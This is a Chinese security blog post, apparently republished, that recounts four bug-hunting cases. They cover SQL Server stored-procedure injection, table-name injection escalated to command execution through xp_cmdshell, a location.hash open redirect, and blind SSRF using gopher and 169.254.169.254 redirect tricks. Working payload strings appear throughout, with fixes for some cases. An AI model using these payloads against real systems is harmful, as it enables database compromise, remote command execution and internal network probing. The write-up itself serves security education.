安全攻防 | 四个有趣的靶场漏洞挖掘案例
2023-6-6 13:30:39 Author: WIN哥学安全(查看原文) 阅读量:17 收藏

免责声明

本公众号所发布的文章及工具代码等仅限交流学习,本公众号不承担任何责任!如有侵权,请告知我们立即删除。

文章正文

好久没写真实漏洞挖掘案例了,今天写一笔。直接发漏洞细节,很生硬,大家也学不到什么,只有带入感情,留下笔者的想法,才能产生共鸣,真正的帮助到别人

这篇文章会设置密码,如果你通过密码查看到了它,你可以转发给其他人,有密码,是因为防止被"某些人"看见,相关漏洞已经修复了.

四个漏洞描述顺序:

(1)存储过程sql注入(2)table头注入(3)通用的url跳转(4)盲ssrf漏洞

首先我先介绍我近期挖到的第一个漏洞:sql server exec存储过程处 sql injection:

这是我在挖国外遇到的一个网站,遇到的一个真实案例,一个后台的某个功能点,存在存储过程sql注入

我使用单引号测试,发现他报错了

ERROR:[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure or function 'proc_*' expects parameter '@linked', which was not supplied.

这个报错,很特别,和我平时看到的sql server报错信息不一样,我第一时间去谷歌简单搜索了下简单信息: 

很快就找到了一篇文章:

https://stackoverflow.com/questions/19703653/stored-procedure-or-function-expects-parameter-which-is-not-supplied

stackoverflow查看网站报错信息真的很方便,很方便帮我们判断使用了哪些技术.  虽然我英语很差,但是谷歌浏览器自带的翻译功能,就够了,很快我就知道,这是个sql server的存储过程报错.

话说回来,不通过谷歌搜索报错语句,通过单引号报错,其实就可能猜出来个大概

我还是很常规的测试,因为报错了,所以我企图用最简单的方法让其报错出user/database等

尝试poc: 

'and 1>user and'1'='1'and user<0 and '1'='1

我发现我没有出user,甚至仍然报错,其实这是正常的

后续测试我发现,只要我在后面添加内容,他就会一直报错... 他好像不允许添加过多的注入payload

我开始从报错注入,转为布尔类型注入测试:

'and iif(user like '%25',1,1) and'1'='1

类似这样的payload,结局是泪目的,语句又是各种报错

我发现我不能再这样搞了,这样搞的话,思路肯定不对:

先从理解sql报错信息开始,理解存储过程:

sql server的存储过程的语法是这样的:

exec 任意语句 / exec 'sql语句'

它本身其实不需要任何单引号的闭合,因为它不是字符串类型注入,不需要引号闭合

重新调整测试,测试就是学习的过程:

再次上payload:

13 if(substring(db_name(),1,1)='*')waitfor delay'0:0:3'

一顿fuzz,延时3s:

  

说明我的这个poc没有问题,一开始踩了一个坑,一个认知问题,惯性思维导致的错误

mysql下的if:if(条件,结果1,结果2)sql server下的if:if(条件) 结果 else (结果)

这里误以为sql server的if也是和mysql的if使用一样,其实完全不一样,sql server等同mysql if函数的是iif函数

我们知道,sql server报错有个很爽的技巧就是基于类型错误: int+varchar

尝试报错出db_name():

报错注入poc:

13 if(1=0/db_name())waitfor delay'0:0:1'

至此,这个注入算搞定了,我可以提交了.

第二个分享的案例仍然是注入,sql server table头注入,有意思的地方在于rce处,利用一个sql server特性,我rce了它

某天我挖一个站,发现一个功能点存在注入,是那种很常规的注入:

通过查看js,我发现了一个接口:

https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入点}

我看到了table参数,我觉得这可能是sql server table头注入,这是经常做安全测试的一种直觉,我直接输入了sysobjects:

当我输入sysobjects,他给我大量返回了信息:

我很惊喜,那么它代码的实现很大可能是:

select * from {可控点}

那么我可以做的事情变得很多很多,这个注入利用成本很低,我觉得他就是个任意sql语句执行漏洞

我尝试rce,为了再次确定他是表头注入,我尝试在可控点处添加where等条件语句:

尝试Payload:

sysobjects where xtype='u' #查询数据库中的所有表名

 

很幸运,没任何报错,直接响应了:

我开始尝试rce,我们都知道sql server rce的条件是需要支持堆叠:

我尝试;waitfor delay '0:0:3';,直接给我报错了,那么大概率可能不支持堆叠查询

不过我们这个注入点非常特别,是表头注入,它满足一定的条件,即使不知道堆叠,只要权限够高,也可以让我们rce:

先开启xp_cmdshell扩展:

sysobjects+select+1+if+1%3d1+execute('EXEC+sp_configure+''show+advanced+options'',+1%3bRECONFIGURE%3bEXEC+sp_configure+''xp_cmdshell'',+1%3bRECONFIGURE%3b')

执行命令:

sysobjects+select+1++if+1%3d1+execute('exec+master..xp_cmdshell+"whoami"')

直接页面显示了whoami信息:

我是幸运的,很快,我就提交了漏洞给相关厂商

因为是表头注入,所以不需要堆叠了

因为sql server的select支持 select x select x

sql server容错率很强大 不同类型在一起,不会报错,会做自动区分:

第二个漏洞分享结束,开始第三个url跳转漏洞分享:

其实有时候,运气不是总是很好,漏洞也很难挖,连续好几天,我都没挖到漏洞,我在那边胡乱看着,瞎点着:

有一个站引起了我的兴趣,他的注册接口是这样的:

https://*/sss/yyyy?returnUrl=https://*/#/xxxx/xxx

我对url参数比较敏感,通常我会测试ssrf/xss,即使他大概率不存在,我也会测试下,很显然,半自动化工具没有发现任何ssrf和xss漏洞

我注册了一个账号,我尝试登录,它告诉我,我的账号需要审核,我尝试绕过,我也没有绕过它

我发现我没发现漏洞了,那我就随便看看吧,我都不抓包了,右键查看源代码,看我发现了什么!

我发现了这么一段代码,以前我就经常做js代码审计,这段代码我不会陌生

if(location.hash){location="https://hostname"+location.hash.substring(1);}

稍微学过一点js的也不会陌生,不过我们还是要走一遍基础的测试流程:

它使用location.hash.*去传递参数:

这个就是锚点符,常用于站内url跳转,记录#/后面的内容那么其实这里的本意是做站内url跳转用的,不过这里没在hostname结尾处加/这个字符串,导致可以任意跳转:

我们简单测试下:

那么如果我们想任意url跳转怎么办?

我们只需要让location.hash.substring(1)变成另一个我们的域名:

我们尝试下:

构造poc:

http://example.com/#.dnslog.cn

他会直接跳转出信任域,实现任意页面url跳转

除了这样还可以通过@domain去跳转到第三方网站,更加方便

他的修复方案也很简单: 

if(location.hash){location="https://hostname/"+location.hash.substring(1);}

至此第三个漏洞就分享完了

现在分享最后一个漏洞,就是盲的ssrf漏洞:

前面我说过,我看到url参数,我就会尝试下ssrf/xss漏洞,这里我发现了一个图片加载功能,存在ssrf:

首先在分享ssrf实战案例之前,先分享个ssrf安全测试圣经:https://github.com/cujanovic/SSRF-Testing

github上提供的测试用例: 

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg

如果你想探测是否开放gopher,又不想触发 waf怎么做?

https://ssrf.localdomain.pw/img-without-body/301-gopher-{dnslog.cn}-.i.jpg

这个url地址是可以变化的,你想测试什么协议就变成什么协议,其他的测试样本不再举例,类似的,都可以随意转换

这里尝试301跳转:

dnslog成功收到请求,注意User-Agent,是libwww,perl的一个请求依赖库:

GET / HTTP/1.1TE: deflate,gzip;q=0.3Connection: TE, closeHost: bt8vfrpehb5ur0ldbb4o47c9s0yqmf.burpcollaborator.netUser-Agent: ImageVacuum/2.3.10 libwww-perl/6.57

使用上面的思路,测试下敏感协议,gopher协议:

有反应,说明大概率是支持gopher协议的,那么它到底支持不支持呢?

通过查看github libwww代码,就可以得到答案,他支持这些协议,其中包含gopher协议:

这样我们就可以使用gopher协议去批量fuzz探测内网redis等服务:

这个点到此为止,下面继续科普下盲的ssrf怎么探测? 因为一般情况下,信息收集不全的情况下,我们没什么内网ip地址,我们怎么证明是盲ssrf呢?

本地ip:存在端口 vs 本地ip:大概率不存在的端口

25端口,提示我图片类型不对:   

250端口,提示我连接被拒绝

其实这样我们就可以证明出这是个盲的ssrf,它可以探测内网端口开放情况,然后因为它又支持gopher等敏感协议,它可以fuzz内网redis,尝试shell等,危害将会大大升级

至此,已经分享完了四个漏洞,通过我的所思所想,希望能给大家带来一些感悟,我该去做饭吃了,下次见!

文章来源:博客园,原作者飘渺红尘,侵删

原文地址:https://www.cnblogs.com/piaomiaohongchen/p/16306747.html

Tips:

扫码回复“加群”加入交流群

往期精彩

工具获取回复“burp”“awvs”“nessus”“ladon”"Forfity"等可以。

快速攻击全自动化工具JuD

Exp-Tools 1.1.3版本发布

GUI-tools渗透测试工具箱框架

阿波罗自动化攻击评估系统

 微软 Word RCE附PoC

Clash最新远程代码执行漏洞(附POC)

禅道系统权限绕过与命令执行漏洞(附POC)

【附EXP】CVE-2022-40684 & CVE-2022-22954

网络安全应急预案合集

师傅们求点赞,求支持!

文章来源: http://mp.weixin.qq.com/s?__biz=MzkwODM3NjIxOQ==&mid=2247493205&idx=1&sn=1cbddd673dd35fb6222162b6ef11f444&chksm=c0c847a1f7bfceb760a1e72182afaba1d476706cf76745717d006bedb511cab1eb0e19bf167b#rd
如有侵权请联系:admin#unsafe.sh